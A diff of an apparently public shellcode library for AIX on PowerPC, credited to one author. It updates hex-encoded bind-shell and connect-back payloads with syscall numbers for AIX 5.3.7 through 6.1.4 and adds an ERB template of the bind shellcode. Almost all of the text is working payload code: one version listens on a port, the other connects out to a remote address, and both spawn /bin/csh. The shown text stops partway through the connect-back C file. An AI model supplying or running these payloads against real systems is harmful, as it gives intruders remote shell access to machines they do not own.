||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -21,16 +19,20 @@
|
|||
*/
|
||||
|
||||
/*
|
||||
* Currently supported AIX levels.
|
||||
* -DV410 AIX 4.1.0
|
||||
* -DV420 AIX 4.2.0
|
||||
* -DV430 AIX 4.3.0
|
||||
* -DV433 AIX 4.3.3
|
||||
* -DV530 AIX 5.3.0
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
#define BNDSOCKPORT 77
|
||||
#define BNDSOCKPORT 82
|
||||
|
||||
char bndsockcode[]= /* 264 bytes */
|
||||
"\x7f\xff\xfa\x79" /* xor. r31,r31,r31 */
|
||||
|
@ -43,128 +45,206 @@ char bndsockcode[]= /* 264 bytes */
|
|||
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
|
||||
"\x44\xff\xff\x02" /* svca 0 */
|
||||
"\x3b\xde\xff\xf8" /* cal r30,-8(r30) */
|
||||
"\x3b\xa0\x01\xff" /* lil r29,511 */
|
||||
"\x3b\xa0\x07\xff" /* lil r29,2047 */
|
||||
"\x7c\xa5\x2a\x78" /* xor r5,r5,r5 */
|
||||
"\x38\x9d\xfe\x02" /* cal r4,-510(r29) */
|
||||
"\x38\x7d\xfe\x03" /* cal r3,-509(r29) */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\x58" /* cal r2,-424(r29) */
|
||||
"\x38\x9d\xf8\x02" /* cal r4,-2046(r29) */
|
||||
"\x38\x7d\xf8\x03" /* cal r3,-2045(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf8\xf4" /* cal r2,-1804(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x5c" /* cal r2,-420(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf8\xef" /* cal r2,-1809(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x6a" /* cal r2,-406(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf8\xef" /* cal r2,-1809(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xfe\x79" /* cal r2,-391(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\x8e" /* cal r2,-370(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7c\x7c\x1b\x78" /* mr r28,r3 */
|
||||
"\x38\xbd\xfe\x11" /* cal r5,-495(r29) */
|
||||
"\x38\xbd\xf8\x11" /* cal r5,-2031(r29) */
|
||||
"\x3f\x60\xff\x02" /* liu r27,-254 */
|
||||
"\x63\x7b\x04\xd2" /* oril r27,r27,1234 */
|
||||
"\x97\xe1\xff\xfc" /* stu r31,-4(r1) */
|
||||
"\x97\x61\xff\xfc" /* stu r27,-4(r1) */
|
||||
"\x7c\x24\x0b\x78" /* mr r4,r1 */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\x57" /* cal r2,-425(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf8\xf3" /* cal r2,-1805(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x5b" /* cal r2,-421(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf8\xee" /* cal r2,-1810(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x69" /* cal r2,-407(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf8\xee" /* cal r2,-1810(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xfe\x78" /* cal r2,-392(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf8\xeb" /* cal r2,-1813(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\x8d" /* cal r2,-371(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf8\xeb" /* cal r2,-1813(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\xd9" /* cal r2,-1831(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\xd9" /* cal r2,-1831(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\xd9" /* cal r2,-1831(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\xd9" /* cal r2,-1831(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
|
||||
"\x7f\x83\xe3\x78" /* mr r3,r28 */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\x56" /* cal r2,-426(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf8\xf1" /* cal r2,-1807(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x5a" /* cal r2,-422(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x68" /* cal r2,-408(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xfe\x77" /* cal r2,-393(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf8\xe9" /* cal r2,-1815(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\x8c" /* cal r2,-372(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf8\xe9" /* cal r2,-1815(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\xd8" /* cal r2,-1832(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\xd8" /* cal r2,-1832(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\xd8" /* cal r2,-1832(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\xd8" /* cal r2,-1832(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7c\xa5\x2a\x78" /* xor r5,r5,r5 */
|
||||
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
|
||||
"\x7f\x83\xe3\x78" /* mr r3,r28 */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\x54" /* cal r2,-428(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf8\xee" /* cal r2,-1810(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x59" /* cal r2,-423(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf8\xe9" /* cal r2,-1815(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x66" /* cal r2,-410(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf8\xe9" /* cal r2,-1815(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xfe\x76" /* cal r2,-394(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf8\xe6" /* cal r2,-1818(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\x8b" /* cal r2,-373(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf8\xe6" /* cal r2,-1818(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\xd7" /* cal r2,-1833(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\xd7" /* cal r2,-1833(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\xd7" /* cal r2,-1833(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\xd7" /* cal r2,-1833(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
|
||||
"\x3b\x3d\xfe\x03" /* cal r25,-509(r29) */
|
||||
"\x3b\x3d\xf8\x03" /* cal r25,-2045(r29) */
|
||||
"\x7f\x23\xcb\x78" /* mr r3,r25 */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\x5f" /* cal r2,-417(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf9\x17" /* cal r2,-1769(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x63" /* cal r2,-413(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x72" /* cal r2,-398(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xfe\x83" /* cal r2,-381(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\xa1" /* cal r2,-351(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7f\x25\xcb\x78" /* mr r5,r25 */
|
||||
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
|
||||
"\x7f\x43\xd3\x78" /* mr r3,r26 */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\xd7" /* cal r2,-297(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xfa\x93" /* cal r2,-1389(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\xe8" /* cal r2,-280(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xfa\x85" /* cal r2,-1403(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\xfd" /* cal r2,-259(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xfa\x7c" /* cal r2,-1412(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xff\x10" /* cal r2,-240(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xfa\x67" /* cal r2,-1433(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xff\x43" /* cal r2,-189(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xfa\x6a" /* cal r2,-1430(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x37\x39\xff\xff" /* ai. r25,r25,-1 */
|
||||
|
@ -178,19 +258,36 @@ char bndsockcode[]= /* 264 bytes */
|
|||
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
|
||||
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
|
||||
"\x7c\x24\x0b\x78" /* mr r4,r1 */
|
||||
#if defined(V410) || defined(V433)
|
||||
"\x38\x5d\xfe\x04" /* cal r2,-508(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x03" /* cal r2,-509(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x05" /* cal r2,-507(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\x06" /* cal r2,-506(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
|
||||
#endif
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x20" /* bctr */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"/bin/csh"
|
||||
;
|
||||
|
||||
|
|
|
@ -0,0 +1,104 @@
|
|||
/*
|
||||
* aix-power-bndsockcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with this library; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*
|
||||
*/
|
||||
|
||||
/*
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
#define BNDSOCKPORT 82
|
||||
|
||||
char bndsockcode[]= /* 264 bytes */
|
||||
"\x7f\xff\xfa\x79" /* xor. r31,r31,r31 */
|
||||
"\x40\x82\xff\xfd" /* bnel <bndsockcode> */
|
||||
"\x7f\xc8\x02\xa6" /* mflr r30 */
|
||||
"\x3b\xde\x01\xff" /* cal r30,511(r30) */
|
||||
"\x3b\xde\xfe\x1d" /* cal r30,-483(r30) */
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x20" /* bctr */
|
||||
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
|
||||
"\x44\xff\xff\x02" /* svca 0 */
|
||||
"\x3b\xde\xff\xf8" /* cal r30,-8(r30) */
|
||||
"\x3b\xa0\x07\xff" /* lil r29,2047 */
|
||||
"\x7c\xa5\x2a\x78" /* xor r5,r5,r5 */
|
||||
"\x38\x9d\xf8\x02" /* cal r4,-2046(r29) */
|
||||
"\x38\x7d\xf8\x03" /* cal r3,-2045(r29) */
|
||||
<%= @socket %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7c\x7c\x1b\x78" /* mr r28,r3 */
|
||||
"\x38\xbd\xf8\x11" /* cal r5,-2031(r29) */
|
||||
"\x3f\x60\xff\x02" /* liu r27,-254 */
|
||||
"\x63\x7b\x04\xd2" /* oril r27,r27,1234 */
|
||||
"\x97\xe1\xff\xfc" /* stu r31,-4(r1) */
|
||||
"\x97\x61\xff\xfc" /* stu r27,-4(r1) */
|
||||
"\x7c\x24\x0b\x78" /* mr r4,r1 */
|
||||
<%= @bind %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
|
||||
"\x7f\x83\xe3\x78" /* mr r3,r28 */
|
||||
<%= @listen %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7c\xa5\x2a\x78" /* xor r5,r5,r5 */
|
||||
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
|
||||
"\x7f\x83\xe3\x78" /* mr r3,r28 */
|
||||
<%= @accept %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
|
||||
"\x3b\x3d\xf8\x03" /* cal r25,-2045(r29) */
|
||||
"\x7f\x23\xcb\x78" /* mr r3,r25 */
|
||||
<%= @close %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7f\x25\xcb\x78" /* mr r5,r25 */
|
||||
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
|
||||
"\x7f\x43\xd3\x78" /* mr r3,r26 */
|
||||
<%= @kfcntl %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x37\x39\xff\xff" /* ai. r25,r25,-1 */
|
||||
"\x40\x80\xff\xd4" /* bge <bndsockcode+160> */
|
||||
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
|
||||
"\x40\x82\xff\xfd" /* bnel <bndsockcode+208> */
|
||||
"\x7f\x08\x02\xa6" /* mflr r24 */
|
||||
"\x3b\x18\x01\xff" /* cal r24,511(r24) */
|
||||
"\x38\x78\xfe\x29" /* cal r3,-471(r24) */
|
||||
"\x98\xb8\xfe\x31" /* stb r5,-463(r24) */
|
||||
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
|
||||
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
|
||||
"\x7c\x24\x0b\x78" /* mr r4,r1 */
|
||||
<%= @execve %>
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"/bin/csh"
|
||||
;
|
||||
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: aix-power-cntsockcode.S 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* aix-power-cntsockcode.S - AIX Power Network connect code
|
||||
* aix-power-cntsockcode.S
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -21,15 +19,16 @@
|
|||
*/
|
||||
|
||||
/*
|
||||
* Compile with the following command.
|
||||
* $ gcc -Wall -DAIXLEVEL -o aix-power-cntsockcode aix-power-cntsockcode.S
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* Where AIXLEVEL is one of the currently supported AIX levels.
|
||||
* -DV410 AIX 4.1.0
|
||||
* -DV420 AIX 4.2.0
|
||||
* -DV430 AIX 4.3.0
|
||||
* -DV433 AIX 4.3.3
|
||||
* -DV530 AIX 5.3.0
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
|
@ -61,8 +60,8 @@ cntsockcode:
|
|||
# socket
|
||||
|
||||
# xor %r5,%r5,%r5
|
||||
cal %r4,-511+1(%r29)
|
||||
cal %r3,-511+2(%r29)
|
||||
cal %r4,-__CAL+1(%r29)
|
||||
cal %r3,-__CAL+2(%r29)
|
||||
cal %r2,__NC_socket(%r29)
|
||||
mtctr %r30
|
||||
bctrl
|
||||
|
@ -70,7 +69,7 @@ cntsockcode:
|
|||
|
||||
# connect
|
||||
|
||||
cal %r5,-511+16(%r29)
|
||||
cal %r5,-__CAL+16(%r29)
|
||||
cal %r4,-8(%r30)
|
||||
cal %r2,__NC_connect(%r29)
|
||||
mtctr %r30
|
||||
|
@ -78,7 +77,7 @@ cntsockcode:
|
|||
|
||||
# close
|
||||
|
||||
cal %r27,-511+2(%r29)
|
||||
cal %r27,-__CAL+2(%r29)
|
||||
|
||||
0:
|
||||
mr %r3,%r27
|
||||
|
@ -99,7 +98,7 @@ cntsockcode:
|
|||
bge 0b
|
||||
|
||||
shellcode:
|
||||
# lil %r31,__CAL
|
||||
# lil %r29,__CAL
|
||||
xor. %r5,%r5,%r5
|
||||
bnel shellcode
|
||||
# mflr %r30
|
||||
|
@ -113,7 +112,6 @@ shellcode:
|
|||
stu %r5,-4(%r1)
|
||||
stu %r3,-4(%r1)
|
||||
mr %r4,%r1
|
||||
# cal %r2,__NC_execve(%r31)
|
||||
cal %r2,__NC_execve(%r29)
|
||||
# crorc %cr6,%cr6,%cr6
|
||||
# .long 0x44ffff02
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
/*
|
||||
* $Id: aix-power-cntsockcode.c 40 2008-11-17 02:45:30Z ramon $
|
||||
*
|
||||
* aix-power-cntsockcode.c - AIX Power Network connect code
|
||||
* aix-power-cntsockcode.c
|
||||
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
|
@ -21,19 +19,23 @@
|
|||
*/
|
||||
|
||||
/*
|
||||
* Currently supported AIX levels.
|
||||
* -DV410 AIX 4.1.0
|
||||
* -DV420 AIX 4.2.0
|
||||
* -DV430 AIX 4.3.0
|
||||
* -DV433 AIX 4.3.3
|
||||
* -DV530 AIX 5.3.0
|
||||
* Supported AIX versions:
|
||||
*
|
||||
* -DAIX614 AIX Version 6.1.4
|
||||
* -DAIX613 AIX Version 6.1.3
|
||||
* -DAIX612 AIX Version 6.1.2
|
||||
* -DAIX611 AIX Version 6.1.1
|
||||
* -DAIX5310 AIX Version 5.3.10
|
||||
* -DAIX539 AIX Version 5.3.9
|
||||
* -DAIX538 AIX Version 5.3.8
|
||||
* -DAIX537 AIX Version 5.3.7
|
||||
*
|
||||
*/
|
||||
|
||||
#define CNTSOCKADDR 32
|
||||
#define CNTSOCKPORT 30
|
||||
|
||||
char cntsockcode[]= /* 204 bytes */
|
||||
char cntsockcode[]= /* 200 bytes */
|
||||
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
|
||||
"\x40\x82\xff\xfd" /* bnel <cntsockcode> */
|
||||
"\x7f\xc8\x02\xa6" /* mflr r30 */
|
||||
|
@ -46,83 +48,135 @@ char cntsockcode[]= /* 204 bytes */
|
|||
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
|
||||
"\x44\xff\xff\x02" /* svca 0 */
|
||||
"\x3b\xde\xff\xf8" /* cal r30,-8(r30) */
|
||||
"\x3b\xa0\x01\xff" /* lil r29,511 */
|
||||
"\x38\x9d\xfe\x02" /* cal r4,-510(r29) */
|
||||
"\x38\x7d\xfe\x03" /* cal r3,-509(r29) */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\x58" /* cal r2,-424(r29) */
|
||||
"\x3b\xa0\x07\xff" /* lil r29,2047 */
|
||||
"\x38\x9d\xf8\x02" /* cal r4,-2046(r29) */
|
||||
"\x38\x7d\xf8\x03" /* cal r3,-2045(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf8\xf4" /* cal r2,-1804(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x5c" /* cal r2,-420(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf8\xef" /* cal r2,-1809(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x6a" /* cal r2,-406(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf8\xef" /* cal r2,-1809(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xfe\x79" /* cal r2,-391(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\x8e" /* cal r2,-370(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
|
||||
#endif
|
||||
#ifdef AIX538
|
||||
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
|
||||
#endif
|
||||
#ifdef AIX537
|
||||
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
|
||||
#endif
|
||||
|
||||
"\x7f\xc9\x03\xa6" /* mtctr r30 */
|
||||
"\x4e\x80\x04\x21" /* bctrl */
|
||||
"\x7c\x7c\x1b\x78" /* mr r28,r3 */
|
||||
"\x38\xbd\xfe\x11" /* cal r5,-495(r29) */
|
||||
"\x38\xbd\xf8\x11" /* cal r5,-2031(r29) */
|
||||
"\x38\x9e\xff\xf8" /* cal r4,-8(r30) */
|
||||
#ifdef V410
|
||||
"\x38\x5d\xfe\x59" /* cal r2,-423(r29) */
|
||||
#ifdef AIX614
|
||||
"\x38\x5d\xf8\xf5" /* cal r2,-1803(r29) */
|
||||
#endif
|
||||
#ifdef V420
|
||||
"\x38\x5d\xfe\x5d" /* cal r2,-419(r29) */
|
||||
#ifdef AIX613
|
||||
"\x38\x5d\xf8\xf0" /* cal r2,-1808(r29) */
|
||||
#endif
|
||||
#ifdef V430
|
||||
"\x38\x5d\xfe\x6b" /* cal r2,-405(r29) */
|
||||
#ifdef AIX612
|
||||
"\x38\x5d\xf8\xf0" /* cal r2,-1808(r29) */
|
||||
#endif
|
||||
#ifdef V433
|
||||
"\x38\x5d\xfe\x7a" /* cal r2,-390(r29) */
|
||||
#ifdef AIX611
|
||||
"\x38\x5d\xf8\xed" /* cal r2,-1811(r29) */
|
||||
#endif
|
||||
#ifdef V530
|
||||
"\x38\x5d\xfe\x8f" /* cal r2,-369(r29) */
|
||||
#ifdef AIX610
|
||||
"\x38\x5d\xf8\xed" /* cal r2,-1811(r29) */
|
||||
#endif
|
||||
#ifdef AIX5310
|
||||
"\x38\x5d\xf8\xdb" /* cal r2,-1829(r29) */
|
||||
#endif
|
||||
#ifdef AIX539
|
||||
"\x38\x5d\xf8\xdb" /* cal r2,-1829(r29) */
|
